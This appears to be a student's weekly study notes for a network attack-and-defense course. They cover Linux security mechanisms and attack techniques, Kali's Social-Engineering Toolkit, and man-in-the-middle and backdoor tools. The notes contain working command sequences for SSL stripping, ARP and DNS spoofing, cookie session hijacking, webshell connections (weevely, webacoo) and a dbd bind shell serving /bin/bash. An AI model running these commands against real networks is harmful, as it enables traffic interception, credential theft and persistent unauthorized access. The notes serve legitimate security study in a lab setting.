20169308 2016-2017-2 《网络攻击与防范》第8周学习总结
教材学习内容总结
本周主要学习教材第8章Linux操作系统安全攻防,了解Linux系统平台上的主要攻击技术,以及相应的防范措施。
Linux操作系统基本框架概述
-
Linux优势:跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能。
-
Linux系统结构
- 内核服务功能模块:进程与线程管理机制、内存管理机制、文件系统管理机制、设备控制机制(字符设备、块设备和网络设备)、网络机制、系统调用机制(软件中断实现)。
Linux操作安全机制
1、Linux身份认证机制
-
用户:Root根用户、普通用户、系统用户。
-
用户组:相同特征的用户账号集合。
-
本地登陆用户认证机制:Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,登录login进程通过Crypt()函数来对用户输入的口令进行验证。
-
远程登录用户认证机制:SSH提供两种方式的用户身份认证机制,第一种方式为基于口令的身份认证;第二种方式为基于非对称密钥的身份认证。
-
统一身份认证中间件——PAM:支持四种管理界面:认证管理、账户管理、密码管理、会话管理。
2、Linux授权与访问控制机制
-
虚拟文件系统安全模型:文件所有者、文件访问权限(R、W、X)和一些特殊权限位来进行系统的授权与访问控制(SUID和SGID权限)。
-
不足及改进:只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理。
3、Linux安全审计机制
-
主要的日志子系统:连接时间日志、进程统计日志、错误日志记录。
-
审计守护进程
Linux系统远程攻防技术
1、远程网络上入侵Linux系统的主要方法:
-
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击。
-
发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权。
-
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段。
-
在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
2、Linux远程口令字猜解攻击
-
针对SSH、telnet、FTP、HTTP等服务。
-
支持攻击者进行自动化的远程口令字猜测工具:Brutus(远程口令猜解工具)、THC Hydra(网络身份口令猜解工具)、Cain and Abel。
-
防范:使用强口令字;对于安全敏感的服务器,使用严格的口令字管理制度和措施;在非标准端口上运行易受攻击的服务;口令猜测防御软件(Denyhosts、blockhosts等)、防火墙IPTables。
3、Linux网络服务远程渗透攻击
-
系统渗透最重要的攻击渠道:对监听网络服务安全漏洞的渗透利用。
-
安全漏洞信息库:CVE、Bugtraq、Security Focus、OSVDB。
-
针对linux系统网络服务的远程渗透攻击
-
内核中网络协议栈实现漏洞
-
LAMP Web网站构建解决方案中的网络服务:Apache————HTTP/HTTPS;Mysql————WEB后台数据存储;PHP————应用程序
-
FTP(TCP 20/TCP 21)、Samba(TCP 445)等文件共享服务:FTP(ProFTPD、vs-ftpd)
-
电子邮件收发服务:Sendmail服务
-
其他服务:OPENSSH、OPENSSL、NFS
-
防范措施:禁用不必要的服务、选择安全的网络协议和服务软件、及时更新网络服务版本、使用xinetd、防火墙为linux网络服务添加网络访问控制机制、建立入侵检测与应急相应计划流程。
4、攻击linux客户端程序和用户
-
攻击linux平台上的用户端程序:web浏览器firefox、电子邮件客户端软件thunderbird。
-
攻击linux系统用户:电子邮件、即时通信中设计欺骗场景、服务配置信息的泄漏。
-
防范措施:软件自动跟新机制、提高自身抗欺骗能力。
5、攻击路由器和监听器
-
攻击路由器和防火墙:ip_forward=1
-
net子系统:route.c(路由器录址和数据包转发)、netfilter(配置防火墙)
-
攻击监听器和入侵检测器(libpcap、tcpdump、wireshark、snort)
-
防范措施:意识到网络和安全设备的安全性和可用性,身处攻击者角度、掌握渗透测试工具
Linux系统本地安全攻防技术
1、本地提权:破解出Root用户的口令,然后执行su或者sudo命令进行提升;发掘并利用su或者sudo程序中的安全漏洞;攻击用户态SUID特权提升漏洞;攻击Linux内核代码特权提升漏洞;过从系统中搜索全局可写的敏感文件与目录位置并加以利用
-
利用sudo的缺陷进行权限提升
-
利用用户态SUID程序漏洞进行特权提升
-
针对SUID程序的本地缓冲区溢出攻击(Ettercap)
-
针对SUID程序的符号链接攻击(Ncpfs——ncpmount)
-
针对SUID程序的竞争条件攻击(Exim)
-
针对SUID程序的共享函数库攻击
-
利用内核空间代码漏洞进行特权提升
2、用户口令字破解:shadow文件中记录行格式
-
登录名、口令、最后一次修改时间、最小间隔时间、最大间隔时间、警告时间、不活动时间、失效时间。
-
工具:John the ripper
-
方式:字典攻击、暴力破解
-
破解linux前提为获取到/etc/shadow文件
3、linux入侵消灭踪迹:改变当前活动日志、清除登录日志(WZAP工具)、清除自己在shell程序中的输入命令历史
4、后门程序:特洛伊木马化的系统程序(始终接受攻击者所配置的账户登录)、命令行后门工具、图形化后门工具(VNC)
视频学习总结
KaliSecurity-漏洞利用之SET
Social Enginnering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学套件,通常结合metasploit来使用。漏洞工具集/social Engineering Toolkit/setoolkit
1、setoolkit
打开SET套件
菜单选项1是社会工程学攻击,2是Fast-Track渗透测试,3是第三方模块
2、输入1回车,有11个模块
1.鱼叉式钓鱼攻击
2.网站攻击
3.介质感染攻击
4.创建Payload并监听
5.群发邮件攻击
6.基于Arduino的攻击
7.短信欺骗攻击
8.无线接入点攻击
9.二维码攻击
10.powershell攻击
11.第三方模块
3、鱼叉式钓鱼攻击
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件
相应的payload可以选择不同的漏洞。
4、网站攻击框架
此时开放一个webServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。
如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。
可以复制一个网站,借助内网的嗅探欺骗把域名劫持过来。
5、介质感染攻击
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。
6、创建Payload和监听器
7、群发邮件攻击
支持导入列表并向列表中的每个人发送邮件
8、基于Arduino
主要针对硬件攻击,是一个硬件模块。
9、短信欺骗攻击
伪造短消息发送给别人,欺骗短信来源。
10、无线接入点攻击
无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。
11、二维码攻击
填入一个危险的URL,使得被攻击者扫描二维码自动访问页面中招
12、PowerShell攻击
针对Vista以上的PowerShell攻击模块
13、Fast-Track攻击模块
KaliSecurity-嗅探欺骗与中间人攻击
Linux下的中间人攻击套路是一样的,主要进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
1、为Kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
2、设置ssltrip
为了劫持SSL数据,需要https数据变为http:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
让sslrtip在8081端口监听:
sslstrip -l 8081
3、ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
4、ettercap使用
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list。
5、Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
6、会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。
7、图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。
8、DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。
9、URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
10、下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
KaliSecurity - 权限维持之后门
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
-Weevely
Web后门
Weevely是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在windows上无法使用。
生成一个php后门,test为密码,在本地生成~/1.php
后门上传到web,使用weevely连接
查看目标机ip
nano 1.php 复制生成文件内容到其中
使用命令weevely http://192.168.119.128/1.php test
进行连接
WeBaCoo
(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。
生成一个webshell:
上传到网站后,使用webacoo连接:
·webacoo -t -u http://192.168.119.128/2.php·
通过加入:执行本地命令,不加则借助webshell执行命令。
-
Cymothoa
系统后门
cymothoa -跑10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell -
dbd
理解为加密版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password -
sbd
和dbd
用法相同 -
U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。 -
Intersect
列出可以使用的模块
创建脚本
自由添加功能组件,生成一个shell
将生成的py文件拖出
mv /usr/share/intersect/Scripts/shell.py ~/1.py
执行后门,在目标机上执行 1.py -b,则生成一个bind shell后门,如果之前设置好remote host和remote port,也可以设置为reverse shell
此时连接后门端口成功,返回shell:
实验:网络攻防环境搭建与测试
1、环境搭建
-
环境构成
-
攻击机:kali(linux),Windows XP Attacker(Windows)
-
靶机:Metasploitable(linux),VM_Metasploitable_xpsp1 (Windows)
-
攻击机ip
-
Linux
-
Windows
-
-
靶机ip
-
Linux
-
Windows
-
2、连通性测试
-
Linux攻击机ping靶机
-
Windows攻击机ping靶机
第7周错题总结
1、linux中,more和less用来分页查看文件内容。
2、Metasploit后渗透测试添加路由表的命令是:run autoroute -s 10.0.0.1
3、在windows中可以进行远程控制的是ntecat和meterpreter
4、Windows安全控制中心的功能包括防火墙和病毒防护
5、Windows的TDI传输层对应OSI网络层与传输层
6、Windows的NTFS文件系统基于ACL来保证文件资源读/写的安全性
7、32位Windows系统的系统核心内存区间是2G-4G
学习进度条
- 教材第8章
- Kali视频31-33
- 网络攻防环境搭建与测试实验